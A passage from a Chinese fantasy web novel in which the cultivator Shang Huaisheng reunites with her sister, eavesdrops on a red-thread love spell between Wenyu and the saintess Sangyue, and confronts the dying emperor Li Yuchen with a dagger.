秦湫给商怀笙擦擦眼泪,商怀笙别过头,“我没哭。” “好,那我给你擦擦口水。”秦湫捏着帕子,在她脸上细细擦着,“你可有想过下一步要怎么做?” 商怀笙不解,“嗯?” “你们是彼此唯一的亲人,既然已经相认,你还能心无旁骛地回四水阁吗?” 商怀笙低头,用指腹抹去商叙眼角残留的泪水,“我不留在这里。” “那些熟悉的人和事物,总会提醒我当年犯下的罪孽,师姐,那短短两年死在我手里的人,不比你们几百年来杀过的妖魔少。不同的是妖魔祸害苍生,而我杀害无辜……如果我不是人的话,你们就该来灭我了。” 她挤出一丝苦笑,“我实在不愿意时时回想起那些事情。” “那时你才几岁?五岁,六岁?你懂什么?”秦湫咬着下唇,眼底浮现怒色,“是李昱辰操控你做那些事情,那不是你的罪孽,是他的罪孽!” 祸害了一个还不够,还要在商怀笙脱离苦海后寻到她的姐妹,将她的妹妹培养成新的杀人兵器。 秦湫恨不得将李昱辰对商叙做过的事情说出来,但怕刺激到商怀笙,便将已经到了唇边的话语压了下去,“你没必要一直活在过去。” “我知道。”商怀笙道。 她其实已经想明白了,错不在她,那时的她并没有辨别是非的能力,完全被李昱辰所利用。 但她杀过的人是真的,手上沾满鲜血是真的,相文客那些人对她的畏惧也是真的。 她是血污中生长的怪物,他们需要她的强大,畏惧她的能力,嫌弃她的残暴。 这里有太多知道她过去的人,让商怀笙本能地产生排斥。 商怀笙俯身,躺在商叙的身边,“师姐,我好累,我想睡一会儿。” 秦湫欲言又止,拍拍她的肩膀,退出房间,“有事叫我。” 商怀笙闭上眼睛,看上去睡颜安祥,手却紧紧抓着被角,微微颤抖。 秦湫眉头紧锁,站在门口久久凝望,目光柔软而酸涩,藏着心疼,她轻轻将门掩上,心中茫然,不知该去往何处。 不知在门口驻足多久,闻惠从房间出来,“你怎么在这儿?商怀笙呢?” “睡下了。”秦湫的目光重新聚焦,落在闻惠身上,“你要出门?” “师叔差我去取些东西。”闻惠见她情绪低落,主动开口询问,“你要不要和我一起?” “去哪里?” “离这里三条巷子,云中绿阁。” 秦湫想了想,“那似乎是潮海阁的地方。” 闻惠点头,压着嗓音,嘴角露出狡黠的笑,“是桑月圣女给的东西” 秦湫脸上闪过一丝迟疑,“这……我去合适吗?” “放心,师叔没有亲自去取,想必不是什么重要东西。” 秦湫有些犹豫,闻惠抬脚往前,“你不去的话,我走了。” “我去。” 秦湫道,反正她现在也是闲着,与其在这里胡思乱想,不如出去逛逛。 第29章 第二十九章 算不得两情相许 云中绿阁隐在闹市之中, 周围布有结界,从外面看上去只是一家寻常的书铺,铺面狭小, 陈设简朴, 几排书架依墙而立,架上书卷泛黄,闻惠在其中一卷竹简上轻叩两下, 敲击声在这间不算空荡的书铺中不断回响。 “三山宗弟子闻惠,奉师叔之命问玉前来。” 片刻后,书架微动,云气氤氲,眼前豁然开朗,出现一条九曲回廊, 弯弯绕绕, 仿佛没有尽头, 两侧流霞萦绕,素白莲花悬于半空, 每片花瓣都浮着莹莹微光。 回廊通向翡岛, 潮海阁的所在,也可以通往祈星台内部,连接多处,但路线只有潮海阁弟子才知道, 若有凡人误入, 只会走到日曜城郊外, 受四周莲花香气影响,走出时迷迷糊糊的,像是做了一场梦。 二人在廊上等候, 没过多久,云雾中人影显现,婀娜多姿,轻衣曼妙,仿佛仙人下凡。 “是你们啊。” 见是她们,桑月露出失望的神色,“你们师叔也真是的,有求于人都不知道亲自过来。” 闻惠平日听得都是有关这位圣女的八卦,从前也只在仙门聚会时遥遥见过对方倩影,初次交谈,难免局促,“师叔有事在身。” “只怕是不想见我吧。”桑月递出一个精致的木匣,面上刻着海浪,是潮海阁的标志,“这香料是我用潮海阁秘法调制,原是用来构筑幻境的,可以助你师叔进入意识深处,找回尘封的记忆,虽不知他中的是怎样的忘情咒,但应当会有些效果。” “……多谢圣女。”闻惠双手接过来,努力绷着脸,压抑着好奇。 桑月居然也知道问玉师叔被人下咒的事情了……那她肯定也知道师叔失了清白,居然还能这样心平气和地帮他找回记忆,圣女大爱,实在令人佩服。 桑月说完,又递出一个木盒,比刚才这个木匣稍微简陋一些,但是分量却很重,秦湫接过来时,里面传出有瓷器碰撞的声响。 “这是给商叙用的。”桑月语气中多了几分同情,“这大妖与她一体双魂,在她体内共生多年,一朝被拔除,对她自身也有影响,这些能助她稳固魂魄,三日一瓶,直到用完为止。” “共生?”秦湫蹙眉,她想过大妖一直躲藏在商叙身边,是借她的怨气来隐藏自己的妖气,却没想到两人竟然共生多年,“敢问圣女,此言何意?” 桑月淡淡道:“她在战场上受过那么多伤,甚至有几次都命中要害,你觉得她是为何能够活到现在?” 秦湫顿觉毛骨悚然,也就是说,这大妖的存在也和李昱辰有关? “其他的你们去问问玉吧。”既不是自己想见的人,桑月也没有和她们多聊几句的意愿,“这香做起来耗时耗力,只此一份,再求没有,你告诉他,三日后在我们约定的地方见面,若他敢爽约,我定然不会轻易放过他。” 闻惠微颤,八卦之魂熊熊燃烧,面上还是冷静,“是。” 她与秦湫正要离开,又听见桑月叫她们,“对了,我再提醒一句,用香时最好身边有人护法,毕竟要深眠,万一被突然惊醒,容易精神错乱。” 闻惠:“晚辈定会转告师叔。” 微风吹来淡淡白雾,桑月的身形消失在回廊中,她们也回到书铺,眼前又是那古朴陈旧的书架,空气似乎还有丝丝莲香。 闻惠捧着木匣,好奇不已,“你说,桑月和师叔约会,是为了什么?” “不知。”秦湫摇头。 “你啊,还是这样木讷。”闻惠耸耸肩,“这下好了,师叔很快就能找到他心心念念的女子了,我十分好奇,究竟是怎样的女子。” 秦湫的目光在木匣上掠过,道:“我也好奇。” * 商叙在客栈休养了两日,这两日陆雪青一直留意着朝廷中的动向,唯恐城中传出什么关于商叙的流言来。 但宴会上发生的事情,所有人都守口如瓶,请言府也宣布已经抓住了作乱的妖怪,在百姓面前将它铲除,在凌枫院的符咒中,做出来顶罪的木偶傀儡化为灰烬,也算是安了百姓的心。 这两日商叙几乎都在昏睡,偶尔清醒时听商怀笙和陆雪青告诉她朝中的动向,李昱辰差人来慰问,并未追究她殿前失仪,还送了许多补品。 商叙觉得他们一定有事情瞒着她,她依稀记得当时宴会的情景,露出恐惧目光的人们,还有隐藏在畏惧之下的嫌恶,仿佛她就是个怪物。 商叙每每想起,便心情低落,但她来不及惆怅,商怀笙便吵吵闹闹地闯进来,不是拎着鸟笼来给她解闷,就是提着大包小包的点心问她饿不饿。 记忆里冷静成熟的姐姐,传言中强大威严的小将军,其实聒噪又幼稚,明明比她年长,说话做事还像是个小孩子。 如果商叙没有经历过商怀笙所经历的那些,或许真的会以为商怀笙是在温暖欢乐的环境中长大的。 被关在兽林的夜里,借着萤火虫的微光,耳边充斥着野兽的嚎叫,在布满苔藓污泥的峭壁之上,她看到商怀笙刻下的图画,海浪,海鸥,沙滩,还有渔村燃起的篝火。 近在咫尺的悬崖下,是数不尽的森森白骨,有野兽骸骨,也有人类的白骨。 她在那里待了三日,找到许多商怀笙留下的痕迹,在那样恶劣的情况下,商怀笙竟还有心思画画,只是后来的画越来越潦草,到最后只有一道几乎将岩石劈成两瓣的剑痕,显示着商怀笙几乎要崩溃的情绪。 商怀笙在那里待了一个月,清理了许多凶狠的猛兽,所以她出来的异常顺利。 后来逐渐张大,在战场上撑不下去的时候,她都会想到商怀笙,想到她是如何在更加复杂的乱世中生存,想着她受过的那些苦难,一遍遍地激励自己。 商叙看着这个在记忆中已经模糊,又慢慢变得鲜活起来的姐姐,表面冷淡,竭力压抑着失而复得的惊喜,心里却忍不住更多地依赖她。 商怀笙给她讲述了许多宗门中的事情,待她如父母一般的师兄师姐,为老不尊但是很强大的师父,和她并肩作战的朋友,和总是挑事儿的三山宗弟子。 商怀笙挤在她床上绘声绘色地讲故事的时候,她们好像回到了小时候,咸湿的海风吹过沙滩,她们把脚丫埋进沙子里,依偎在一起,等着父亲和哥哥归来。 像是再一次回到了她们的家。 商叙梦中都多了几分香甜,不再被梦魇困扰。 春月和冬星轮换着来看望她,每次她都在睡觉。 春月不由得担心,“将军的梦魇好了,又患上嗜睡症,可如何是好?” 秦湫安慰她,“她只是要把从前没睡好的觉都补回来而已。” 春月问:“将军的病真的好了吗?” 秦湫:“好了。” 她身上已然不见怨气,干干净净。 春月赞叹:“问玉道长果真是神医。” 秦湫抿唇一笑:其实这多亏了商怀笙,是她用断龙吸收了商叙身上的怨气。 断龙的上一任主人,是天界的杀神,斩妖除魔,屠神灭佛,死在断龙剑下的生灵能填满长眠海,商叙身上的怨气和断龙相比,简直是小巫见大巫。 她从前只知道断龙是神器,但从未见识过它的实力,连断龙能吸收怨气这件事,都是从问玉口中得知的。 商怀笙以自己为桥梁,连接商叙与断龙,完成了怨气的过渡,不然商叙肉体凡胎,魂魄也定会被断龙吞噬。 秦湫一边感叹神器的威力,一边又感到后怕,当时她亲眼看到商怀笙腥红的双眸,怨气侵蚀着她的身体,同样也在试图吞噬她的灵魂。 商怀笙只觉得身体疼痛难忍,却不知自己是在鬼门关走了一遭,她现在年纪小,还未曾外出历练,虽有一身神力,若没有其他技艺傍身,以后怕是要吃亏的。 等回到四水阁,绝对要盯着她好好修行,决不能再向从前那般纵容她逃课。 * 晌午时分,日头高照,窗外的柳树被晒得蔫巴巴的,外面没有一丝风,空气沉闷,凝重,叫人喘不过来气。 商怀笙与问玉面对面坐着,扯了扯领口,觉得空气稀薄,呼吸困难。 断龙横在二人中间的桌上,乖巧得像没有灵识的木头,身上的光芒也黯淡许多。 问玉的手指在剑身游走,五指修长白皙,骨节分明,顺着剑身上的暗纹,缓缓下移…… 商怀笙不自觉地吞咽,脑中不合时宜地浮现出一些画面。 这样白净不容玷污的手指,也曾到过不可言说之地,被刺激到的商怀笙惊起,险些把他的手指折断。 她现在还能记起问玉幽怨的目光,染着绯色的脸颊,被她咬破的嘴唇一张一合,“你再这样下去,药性还没纾解,我先被你打死了。” 她是怎么说的来着……她好像什么也没说,只是贴上去,缓解身上的热意…… “商怀笙。” 一道清冷的声音响起,商怀笙猛地回神,对上问玉含着愠色的目光。 “你若不是真心来求教,就别在这里浪费我的时间。” 一张一合的嘴唇和记忆里重叠,却没有半点情.欲,只是恨铁不成钢的怒气。 “……对不起。”商怀笙拍拍发烫的脸颊,“你说什么?” 问玉眉头蹙起,似乎想再骂她几句,张了张嘴,又无奈叹气,自我安慰道:“算了,跟傻子置什么气。” 商怀笙没有反驳他的话,心虚地摸了下鼻子,“师叔说什么?” “不许叫我师叔。”问玉瞪她一眼,握住断龙剑柄,“它的确有被操纵过的痕迹,天明钢炼出的盖羽飞甲,可以操控他人灵器,这上面便有盖羽飞甲的痕迹。” 他指着上面两道似乎被虫子爬过的痕迹,道:“断龙被控制的时间很短暂,它在发现自己伤人之后很快挣脱了,至于为什么会躲在将军府的武器库,并不是因为害怕,只是不想继续伤人而已。” 商怀笙问:“它不是上古神器吗?怎么会被控制?” “灵器的能力也是和器主有关的,器主自身能力不行,也会压制灵器的实力。” “哦,这样啊……你是在骂我吗?” 问玉轻扬唇角,“这次反应的倒是挺快。” 他这一笑,商怀笙也生不起气来,望着那笑容有几分出神,“师叔,你觉得是谁放出盖羽飞甲,操纵了断龙呢?” “天明钢罕见,盖羽飞甲也不是一般人能做出来的……唯有天工阁。” “那群只知道捶捶打打的壮汉?” 问玉:“你见过?” 商怀笙:“没有。” 问玉:“那你为何说是壮汉?” 商怀笙:“要每天抡大锤,难道还能是弱柳扶风的小书生?” 问玉又是一笑,“倒也不全是壮汉。” 商怀笙愣愣地盯着他,忽然开口道:“师叔,你笑起来真好看。” “……” 问玉的笑容倏地不见了,眼中又聚起怒火,“商怀笙,你脑子里整日在想些什么?” 商怀笙眨眨眼,“我只是想夸夸你,咱们接着说,我和天工阁的人无冤无仇,他们为什么要对断龙下手?” “你……”她态度转变的自然,就像是买菜的时候顺手加了把芹菜,问玉无奈,一些画面在脑海中一闪而过,“未必是天工阁的人,盖羽飞甲虽然难寻,但有钱能使鬼推磨,只要有心,也能寻得。” “盖羽飞甲价值不菲,且天工阁能锻造出盖羽飞甲的人也寥寥无几,得去走一趟,问问最近都有谁购过盖羽飞甲。” 问玉握着断龙,像在抚摸一个听话的宠物,商怀笙心中有几分吃味,断龙在她手里都没有这么听话过,旁人更是碰都碰不得。 偏偏在问玉手里就很老实,而且问玉似乎很了解它。 商怀笙有疑惑就问:“师叔,你是怎么知道断龙能够吸收怨气的,你还教我该怎么召唤断龙,你怎么这么了解它?” 问玉顿了顿,垂眸看向断龙,“因为,它是我带回来的。” 商怀笙:“啊?” “你以后断龙这种神器会乖乖待在一个小门派吗?百年前我兄长察觉到南境灵气波动,断龙封印出现裂痕,怕它出世后作乱,我才将它带回三山宗……后来不知怎么竟到了你手里。” 商怀笙恍然大悟,怪不得宋良白老说这把剑是他豁了老脸才拿来的,让她好生看管,原来是从三山宗抢的。 “它既然如此听你的话,你为何不直接收了它?”商怀笙问。 问玉眼底闪过一丝不易察觉的落寞,“神器并不是那么随便就认主的。” 他意味深长地说,“你要好好珍惜。” 商怀笙十分诚恳地点头,那是当然了,毕竟是三山宗抢来的东西。 “盖羽飞甲的事情先别声张……”他想了想,说,“谁都不要告诉,你师父也不可以。” “那我师姐呢?” “也不行。” 商怀笙露出为难的神色,“可我只要撒谎,师姐定能看出来。” “她不问你就不说,不就行了?笨!” “也行……不对,我为什么要听你的?” 问玉敲敲断龙,发出梆梆两声脆响,眉眼弯弯,诱惑道:“你难道不想知道怎么让断龙乖乖听话吗?我可以教你。” 商怀笙心中一动,心道四水阁弟子怎么能跟着三山宗的人学习,但他这副模样实在勾人,她呆呆点头,道:“想。” * 第三日,商叙已经完全好了,也不再嗜睡,除去有些劳累,身体并无大碍。 她要回将军府收拾东西准备回云月都,离开客栈,商怀笙一下子闲了下来,听见闻惠说起问玉与桑月有约的事情,便毫不犹豫地要跟上去看热闹。 问玉与桑月约在一处小茶馆,西临敬河,北面可以望见祈星台,临窗而坐,拂面河风清爽,携着一丝莲花清香。 “许久不见你了。”桑月道。 “三日前刚刚见过。”问玉淡淡地应了一声。 桑月轻笑:“你还是这样,为了躲我甚至不惜闭关百年,如果不是这次欠了我的人情,是不是以后都不打算见我?” 问玉:“我闭关不是为了躲你。” “……” 两人又陷入沉默,只有茶盏碰撞的声响。 “他们怎么不说话了?” 隔壁包间,商怀笙的耳朵贴着墙壁,动用全身的感官,也只能听到一些细微的声响。 “你不去找你妹妹,在这里做什么!” 闻惠站在她身侧,很是不满,她本来只想拉着秦湫过来,却偏偏撞上了商怀笙和元妄,四个人一起过来,这么显眼,很容易被发现的。 “她回将军府了,也不让我跟着。”商怀笙闭着眼睛,仔细听着,“而且,你不也来了吗?” 闻惠脸颊微红,“我是怕潮海阁圣女对师叔动手动脚。” “啊?”商怀笙惊讶,“他还被人猥亵过?” “别说的那么难听,只不过是桑月借着酒劲要对师叔耍流氓而已。” 商怀笙:“噫!!” 闻惠作为少数亲眼见证过两人故事的人,谈起这事儿来能讲上三天三夜,“你别瞧着桑月孤傲不近人情,其实是个酒蒙子……” “嘘——”元妄凑过来,说,“他们又说话了,小点声。” 隔壁。 桑月取了自己的琴,盘腿坐在窗边,抬头时眼眸中满是怨愤,“你的意思是,你叫我来,是为了让我给你找情人?!” 问玉:“圣女大人要是不愿,我也不会强求。” 桑月咬牙:“我当然不愿意!老娘追了你这么多年,你对老娘爱答不理,现在又来让我帮你你找你的旧情人!!” 问玉起身,对她抱拳,“承蒙圣女厚爱。” “你是吃定了我会帮你?问玉!你以为你有多大的面子,当年将我拒之门外的时候可不是这个样子。” “若是圣女不愿,我可以离开。” “你真是……算了,当是我还你人情,毕竟欠了你这条命。” 桑月狠狠骂了几句,指尖拨动琴弦,道:“我不是为帮你,我只是好奇,是谁那么大的胆子,敢对你下药又始乱终弃。这鸳鸯曲如同月老红线,若你已经有了两情相许之人,便会在你们两人之间结出红线。” “算不得两情相许,毕竟我什么都不记得。” “你这般性情刚烈,若是不愿意,谁能强迫了你?” 桑月挑眉,一眼望入问玉眼眸,他表情微愣,还想再反驳,耳边已经响起琴声,一根浅淡的雾气凝成的红线从他小指出现,绕着窗边飞了出去。 桑月快速拨动琴弦,又幻化出一只青鸟,追随红线而去。 问玉望着红线向着西方越飘越远,长长地舒了一口气,幸好,不是商怀笙。 他早知道闻惠几人就在隔壁,虽然他们刻意隐藏气息,但那个多人,怎么也藏不住。 他们刚进来的时候,问玉就听到了商怀笙咚咚咚的脚步声,秦湫小声叫她慢些,从他们进门到走进隔壁,问玉全部知晓。 他不止一次地怀疑过商怀笙,又一次次地推翻自己的怀疑。 商怀笙并不像是认识他的样子,如果真的是她,她在第一次见自己的时候就会露出马脚。 可他从闻惠口中得知,商怀笙在七月初曾经消失过一段时间,虽然元妄和秦湫都说她是去了人间玩耍,但怀疑再次冒头,问玉不得不多想。 窗外的红线渐渐远得看不见了,问玉坐在桑月对面,被悠扬的琴声包围,安静地等待。 第30章 第三十章 红线 商怀笙他们也听到了琴声, 一时间面面相觑,不知道那边究竟发生了什么。 闻惠:“怎么还弹起琴来了?” 元妄:“桑月鲜少在人前抚琴,他俩这是旧情复燃了?” 商怀笙:“还挺好听的, 这什么曲子?” “是鸳鸯曲, 是桑月的独门绝技。”秦湫站在三人身后,见三人在墙面趴成一排,忍俊不禁, “有琴声遮掩,大概是什么也听不到了,怀笙,来吃点点心吧。” 她端着茶点走过去,手递出去,商怀笙便张开嘴咬下。 闻惠看到这一幕, 翻了个白眼, “都是你惯坏了她。” “你对门下弟子不也这般纵容, 不然金田也不会屡屡来挑衅。” “……” 闻惠无话可说,哼了一声, 把脑袋转向另一边。 “师姐, 这是什么?” “龙井茶酥,喜欢吗?回头带点。” “好吃!”商怀笙伸手去拿,忽然发现右手小指上缠了一截红线,转头去看自己身上的裙摆, “诶?我衣服开线了?” “扯掉就是。”秦湫说着, 伸手捏住那一截红线, 随手一扔。 商怀笙专心盯着桌上的糕点,没注意到落地的红线瞬间变作烟雾消失,一同消失的还有窗外一道若隐若现的红线。 秦湫把她拉到桌前, 道:“配上茶更好吃。” “好!” 商怀笙低头猛吃之时,隔壁的琴声停了,她便端着茶又贴到了墙上。 “看来不行。”问玉的语气比刚才轻松许多,“我之前便说了,不是两情相许。” 桑月看着断掉的红线,稍稍抬手,红线消散,“如果真的无情,是连红线都不会结出来的。你忘了,我从前在你面前弹过许多次这首曲子,盼望着有一天能生出连接你我的红线来,可结果无异于对牛弹琴。” 她将长琴收起,眼眸中闪过一丝失落,“问玉,你动情了。” “我没有。”问玉语气肯定,“我从未对任何人有过男女之间的情感。” 桑月的右手抚上心口,道:“动情并不局限于此,或许连你自己都没有发觉,会因为某个人的一个小小动作便牵动心肠。这世间许多事,唯有感情无解,不是你说没有就没有的。” 问玉看出她的伤心落寞,低声道,“抱歉。” 桑月轻笑,“这两个字你说过很多次,唯有这次能听出真诚,看来你真的动情了,都有了人味儿。” 问玉道:“有没有可能,你的曲子其实也没那么有用?” “我收回对你的夸奖,你还是这么耿直地让人生气。”桑月瞪他一眼,道,“对于风流多情之人或许没有那么大的用处,但对你这种百年不开花的铁树,是最管用的。百试不爽。” 桑月道:“鸳鸯曲只是能影响你的心绪,指引你心中所思之人而已。没有效果或许是因为你失忆的缘故,这招是行不通了,你还是用引梦香吧。” “多谢。”问玉道。 桑月摇摇头,提起商叙,“我没想到你会对商叙的事情这么上心,是因为她是那个小姑娘家人的缘故吗?” 问玉瞬间便明白了她口中的小姑娘是谁,没有反驳。 桑月笑笑,语气有几分自嘲,“其实刚才我很担心,怕红线尽头会是那个小姑娘,你待她与旁人是有几分不同的。” 问玉神色微动,“她只是宗中一个晚辈而已。” “是我多心了,直到断龙出来我才知道,你待她不同,是不是因为断龙?” “……” 桑月为二人倒上茶水,举杯交谈间,有种他们已是多年好友的错觉,“早听闻断龙在三山宗,我还以为它会认你为主,毕竟你这么多年都没遇到合适的灵器……那个小姑娘,以前在李昱辰麾下,我略有耳闻。李昱辰的得力干将,生性残暴……” “她不是。” 桑月抬头,发现问玉眉头皱起,满脸的不认同,“流言不可信。她虽然顽劣,但完全称不上残暴。” 桑月指尖轻敲茶盏,挤出一丝笑容,“看来传言有误。” 两人一时相对无言,房间中只剩茶盏碰撞的声响,过了许久,问玉才放下茶杯,神情中多了几分严肃。 “潮海阁多音修,但对符咒结界之流也不是一窍不通,将军府外的结界便是你们布下的吧?” 桑月微顿,眼神闪躲,“是。” “转运翡珠产自翡岛,能承载大庆国运的,定是极品中的极品,放眼修仙界各大门派,也就只有潮海阁能拿出来。” “……” 包厢中的氛围霎时凝重起来,桑月的脸色变得僵硬,“你知道了?” “猜的,但是看你的反应,想来我没猜错。” 桑月抿唇,眸中浮漫出懊恼与内疚,“我先前并不知道此事。李昱辰曾经求天机阁推算国运,若李承允能活过二十三岁,大庆便可延续千秋万载,否则,三世而亡。潮海阁与李家素来有交情。” “国家稳定,百姓才能安居乐业,李昱辰或许做过许多恶事,但不可否认的是现在天下太平,百姓不再受战火侵扰,不必再流离失所。” “用一人性命换天下百姓,他们觉得值得。他们也推过商叙的命格,虽不是最佳人选,但有好运眷顾,逢凶化吉,也是个极佳的选择。” 桑月缓缓道来,语气平淡,似乎全然不在意商叙被他们选中时只是个不足十岁的孩童。 这些年来,有不少修士在游历时察觉到商叙身上的异常,但发现是天工阁与潮海阁的手笔,都选择了不过问。 他们修道是为苍生,舍一人庇佑天下人,他们没有道理阻止。 如果商叙不是商怀笙的妹妹,只是个普通的凡间将军,问玉也会有同样的想法。 但她是商怀笙唯一的亲人,商怀笙不会不管,他也不能坐视不理。 桑月看出他的想法,摇头笑道:“我就知道你这个人护短,所以在得知商叙的姐姐去了常春阁后,我便知道你会管这件事。” “她四水阁的人,不算我们宗门弟子。” “呵,你就是嘴硬。” 桑月说着,又想起那晚的情景,“断龙不愧为神器,竟有那样强大的能力,天机阁与太虚殿都束手无策的怨气,竟然被它轻易吞噬了。今年的九天盛会,这位商怀笙恐怕要大放异彩,或许会盖过当年的你。” 问玉唇角扬起一抹他自己都没察觉的笑意,“她啊,心思不在修行上,顶嘴抬杠倒是在行。如今才是识灵期,连参加比赛的资格都没有。不过她悟性不错。” “……” 桑月盯着他,一时不知道该说什么,胸腔中酸涩感弥漫,“不知道还以为是你徒弟呢。” 问玉摇摇头,“我要是有那样的徒弟,可是要愁死了。我无福消受,还是让她折磨宋良白吧。” 问玉这样说着,嘴角的笑意却在加深,眼角都弯了起来,“她若是在九天盛会上丢了脸,让宋良白自己受着就是。” “你们师兄弟才是真的相爱相杀。” 桑月扯扯嘴角,挤出一个微笑。 * 琴声消失后,两人似乎又说了什么,接着便听不到了。 三人好奇得心痒,元妄正打算用个扩音符,却听见隔壁响起开门声,再一回头,问玉已经站在他们包厢外。 他倚着门,冲几人笑笑,“你们自己说,要抄多少遍?” 闻惠最先低头,“师叔,弟子知错了,自请罚抄门规百遍。” 商怀笙震惊地看向她:他师姐,你卷什么卷! 问玉又将目光移向元妄,元妄挠挠头,正要开口之前,商怀笙站在他面前,“我们是来喝茶的!” “是吗?”问玉扫一眼桌上的两个茶杯,“四个人两个茶杯,你们好生节俭。” “师父说了,节俭是美德。” “呵。” 眼看问玉脸色变黑,元妄都要去捂商怀笙嘴了,结果问玉转身离开了。 “闻惠,明天落日前把你的罚抄交上来。” 待他走远,闻惠看着没受一点惩罚的三人,出离愤怒,“为什么只有我罚抄?” 商怀笙:“谁让你认错这么快!你说你是来喝茶的,他还能不让你喝?而且我们又不是你们三山宗的,他凭什么罚我们!” “你……”闻惠气得无语,“这种时候你反应倒是快了。” 元妄道:“我可以帮你抄写一半。” 闻惠半点不领情:“呸,少在这里狗拿耗子多管闲事,我就说跟你一起就没好事。” “从前你可说过,遇见我是人生一大幸事。” “呕——你别恶心我了,如果能回到过去,我肯定在第一次见你的时候就狠狠揍你一顿。” 昔日爱侣争锋相对,这场面在元妄身上已经是司空见惯了,两人吵得起劲,秦湫拽着商怀笙离开茶馆,远远还能听见盘子摔碎的声音。 秦湫借机又教导她:“你千万别学你师兄,他教你那套对待感情的方式是不对的,要从一而终。” “可师兄也说,人心是会变的,没有感情却还要强留在对方身边,对彼此都是伤害。” “……” 秦湫沉默片刻,道:“各人有各人的观点,你只要能认清自己的内心,有自己的判断就好。” “哦。”商怀笙是不爱听这种大道理的,听也听不懂,学也学不会。 比起纠结这些说不清道不明的东西,商怀笙更乐意听点劲爆刺激的八卦。 “师姐,问玉和潮海阁那位圣女有什么故事,你给我讲讲呗。” 秦湫想了想,说:“我知道的不多,前些年桑月去三山宗寻问玉师叔,请年玉师叔为二人做媒,我才知道他俩认识。” “年玉同意了吗?”商怀笙问。 秦湫:“应该没有。就算年玉师叔同意,问玉师叔也不会同意的,他一心修行,早已斩断红尘……也不能这么说,他最近不还深陷绯闻之中吗?” 商怀笙没反应过来,“啊?” “就是对问玉师叔下忘忧果那位。”秦湫似笑非笑,歪头看向商怀笙。 “……哦。”商怀笙低下头,“我还当是什么事情。” “怀笙,你应该没什么事情瞒着我吧?” “那当然——没有!” 商怀笙心都吊到嗓子眼,下意识地否认,可是面对着秦湫那双温柔的眼眸,她又生出几分说谎的心虚来。 秦湫没再追问,捏捏她后颈,道:“如果遇到了没办法解决的事情,一定要告诉我。” * 茶馆听墙角被抓后,商怀笙一天都没再见到问玉,傍晚时分,有一陌生男人来到客栈,给她送了一个木匣。 商怀笙认出他是李昱辰身边的侍卫,打开木匣后,里面放的是些司空见惯的小玩意儿,木鸢,木剑,小绣球……大庆孩子们的玩具。 木匣最底下,放着一枚金色的钥匙,身长三寸,形状如龙形微弓,匙柄铸着交颈蟠龙,双目嵌有红宝石,在暗处闪烁着光芒。 这是大庆金库的钥匙,普天之下,知道金库位置的,除了李昱辰,便只有商怀笙。 李昱辰送来此物,不知意欲何为。 商怀笙想着,反正她和李昱辰还有事情没有解决,便趁着夜色潜入皇宫,直奔御书房,果不其然见到了李昱辰。 他老了许多,宫宴上看着还精神矍铄的人,现在像个风烛残年的老头,苍老了二十岁,皮肤皱在一起,如枯树树皮。 他睁着浑浊的双眼,打量好一会儿,才道:“怀笙,你来了。” “你给我送钥匙,不就是想让我过来吗?”商怀笙抱着胳膊,站在书案前,语调冰冷,“你想做什么?” 李昱辰顿了顿,站起身,缓缓走到她面前,双腿弯曲,竟跪在了她面前。 “你、你这是做什么?!” 日曜城的主人,大庆的皇帝,九五之尊,卑微地跪在她面前,佝偻着身子,脑袋几乎垂到地板。 他掀起衣袖,露出里面如同朽木般近乎腐烂的皮肤,“怀笙,我时日不多了。” 商怀笙往后退了半步,看着自己曾经感激,怨恨,恐惧过的人跪在自己脚下,从前意气风发的王爷已经枯败不堪。 商怀笙沉默,伸手将他拽起来,扔到旁边的木椅上,“好好说话,别搞这一套。” “我对不起你,也对不起小叙,这是我给我儿子换命的反噬。” 李昱辰艰难地挤出笑容,“怀笙,你还记得我为什么要给你取这个名字吗?” 商怀笙不语。 “心怀苍生。”他自问自答,“你没有见过乱世,战火连天,民不聊生,同类相残,我想结束这样的乱世,却被亲信出卖,被先帝贬斥,数年筹谋化为泡影。” “我几乎都要放弃了,只想做个闲散王爷,你在此时出现在我面前,这是上天的旨意,要你助我结束这乱世。” “可你走了,你走之后,军心不稳,也是上天的旨意,让我找到你妹妹。你们商家真是,呵,能人辈出……” 他嘴角挂着笑,商怀笙本来沉默听着,脑中忽然灵光一闪,将刀刃往前抵住他下巴,“我家里人的死和你有没有关系?!” “哈——”李昱辰笑出声来,“好歹是我教出来的,你倒也聪明。但我还没有无耻到那种地步,我早知那盗匪意图袭击,只是没有阻止而已。” “为什么!” 商怀笙掏出匕首,骨节凸起,整条手臂不受控制地颤抖着,双眼充血发烫,耳膜鼓胀,几乎要炸掉。 商怀沓樰獨家諍裡笙已经将刀架到了他脖子上,她第一次杀人,就是用这把匕首,是李昱辰送给她的。 “没有为什么,只是怕你们那个村子再出别的神迹,威胁到苍生。” “你是怕威胁到你的帝位吧!!” 一股怒火从胸腔直冲头顶,烧得商怀笙喉咙发干,她咬紧牙关,尝到一丝铁锈般的血腥味。 李昱辰的脖颈已经被她抵出一道血痕,再向前一分,她就能亲手了结了这个混蛋。 李昱辰眼中没有惧意,只有即将解脱的期待,“那日宫宴后,换命的反噬突然袭来,折磨得我痛不欲生,怀笙,你既然恨我,便杀了我。” 他视死如归,等待着利刃刺入脖颈,没想到商怀笙收了匕首,整理衣袖,神色依然恢复平静,眼眸黑沉,“我不会杀你的,反正你也要死了。你搞出这一遭,不过是想治我个弑君之罪,连带着将我妹妹这个威胁也铲除。相文客应该就在某处等着宣旨了吧?” 李昱辰眼神微愕,眸底划过被看穿的窘迫与不甘,“你当真比幼时聪颖许多。可惜你猜错了,我是真心想要以死谢罪。” “说的倒轻巧。”商怀笙晃动着手中的匕首,露出笑容,“杀你一个将死之人太容易了,我在想,如果你儿子死了,你辛苦打下来的江山后继无人……” “别动他!”李昱辰终于露出几分惧色,“他什么也不知道。” “是啊,他自然也不知道自己的父亲曾经想把转运翡珠放置在他的身上,导致他天生痴傻。” “……你怎么会?” “我不仅知道,我还知道相文客觊觎帝位已久,到你时候,你的儿子未必能继承皇位。” “他会的,我早知相文客的心思,但商叙和雪青都是我亲手培养的,有他们在,承允会登上皇位的。” “倘若我已经杀了李承允呢?”商怀笙晃了晃匕首,“就用这把,你送给我用来杀人的匕首。” “什、什么——” 李昱辰瞪大双眼,眼中满是不可置信,“不、你不会的!” 商怀笙冷笑:“我是你教出来的,你不了解我的品性吗?” 他直直地盯着前方,好半天,才轻笑一声,“我了解你,我知道你不会。” 嘁—— 商怀笙心中冒出几分不甘,早知道不如把李承允杀了。 她重新举起匕首,身后一个人影走出,按住她的手腕,“好了。” 商怀笙耸耸肩,“我没打算杀他,反正他也快死了。没必要脏了我的手。” 